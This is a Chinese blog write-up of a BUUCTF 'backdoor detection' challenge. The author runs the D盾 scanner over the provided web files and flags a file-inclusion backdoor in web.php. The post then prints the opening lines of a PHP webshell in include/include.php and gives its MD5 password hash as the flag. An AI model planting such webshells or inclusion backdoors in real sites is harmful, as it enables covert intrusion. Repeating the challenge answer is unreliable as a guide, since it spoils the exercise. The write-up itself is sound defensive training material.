




BUUCTF: 后门查杀

原创

末初  于 2020-09-23 09:12:45 发布  1947  收藏 4

分类专栏: [CTF_MISC_Writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/mochu7777777/article/details/108745686>

版权



[CTF_MISC_Writeup](#) 专栏收录该内容

246 篇文章 45 订阅

订阅专栏

题目地址: <https://buuoj.cn/challenges#%E5%90%8E%E9%97%A8%E6%9F%A5%E6%9D%80>

Challenge 1068 Solves ×

后门查杀

1

小白的网站被小黑攻击了, 并且上传了Webshell, 你能帮小白找到这个后门么? (Webshell中的密码(md5)即为答案)。注意: 得到的 flag 请包上 flag{} 提交

 10b1cf9b-cf...

Flag

<https://blog.csdn.net/mochu7777777>

下载附件, 使用webshell查杀工具: D盾

D盾 v2.1.5.4 [测试版]

D盾 主动防御, 默默为你的网站保驾护航!
http://www.d99net.net

扫描结束
检测文件数: 462 发现可疑文件: 3 用时: 0.56秒

返回

文件 (支持拖放目录和扫描)	级别	说明	大小	修改时间
c:\users\administrator\downloads\10b1cf9b-cfb1-40f2-8340-c1bf78b37c9d(1)\html\phpinfo.php	1	phpinfo	22	2013-09-05 00:32:14
c:\users\administrator\downloads\10b1cf9b-cfb1-40f2-8340-c1bf78b37c9d(1)\html\web.php	3	zŁ0É0ÿ0Ä: [\$_GET[act].".php"]	41	2013-09-05 00:31:50
c:\users\administrator\downloads\10b1cf9b-cfb1-40f2-8340-c1bf78b37c9d(1)\html\include\include.php	5	ŕÄ';ÄŰ'0Äí	58057	2015-07-09 17:08:21

主页 查杀 工具 规则 记录 选项

<https://blog.csdn.net/mochu7777777>

/include/include.php

C:\Users\Administrator\Downloads\10b1cf9b-cfb1-40f2-8340-c1bf78b37c9d(1)\html\include\include.php - Sublime Text (UNREGISTERED)

File Edit Selection Find View Goto Tools Project Preferences Help

```

1 <?php
2 //ini_set('display_errors',1);
3 @error_reporting(7);
4 @session_start();
5 @set_time_limit(0);
6 @set_magic_quotes_runtime(0);
7 if( strpos( strtolower( $_SERVER['HTTP_USER_AGENT'] ), 'bot' ) !== false ) {
8     header('HTTP/1.0 404 Not Found');
9     exit;
10 }
11 ob_start();
12 $mtime = explode(' ', microtime());
13 $starttime = $mtime[1] + $mtime[0];
14 define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
15 define('SELF', $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
16 define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
17 define('IS_GPC', get_magic_quotes_gpc());
18 $dis_func = get_cfg_var('disable_functions');
19 define('IS_PHPINFO', (!pregi("phpinfo",$dis_func)) ? 1 : 0 );
20
21 if( IS_GPC ) {
22     $_POST = s_array($_POST);
23 }
24 $P = $_POST;
25 unset($_POST);
26 /*===== ³İðÄäÖÄ =====*/
27
28 //echo encode_pass('angel');exit;
29 // Èç¹ŭðè0³ÄŰÄèNé0ŕ, ÇèðP, ÄµÇÄ%ÄŰÄè, ÄöçÖİè²»ðè0³Èç0Ä
30 $pass = '6ac45fb83b3bc355c024f5034b947dd3'; //angel
31
32 //ÈçÄŰŰ0 cookie ×+0Ä·ŰİŞ0Đİ0Èèð³Cö, »ðµÇÄ%²»Öŷ³È, ÇèðP, ÄŰÄÄè±äÄç, ·ñ0èÇè±è³ÖÄ-Èİ
33 // cookie Ç³×è
34 $cookiepre = '';
35 // cookie ×+0Ä0è
36

```

Line 1, Column 1

<https://blog.csdn.net/mochu7777777>

Tab Size: 4 PHP

flag{6ac45fb83b3bc355c024f5034b947dd3}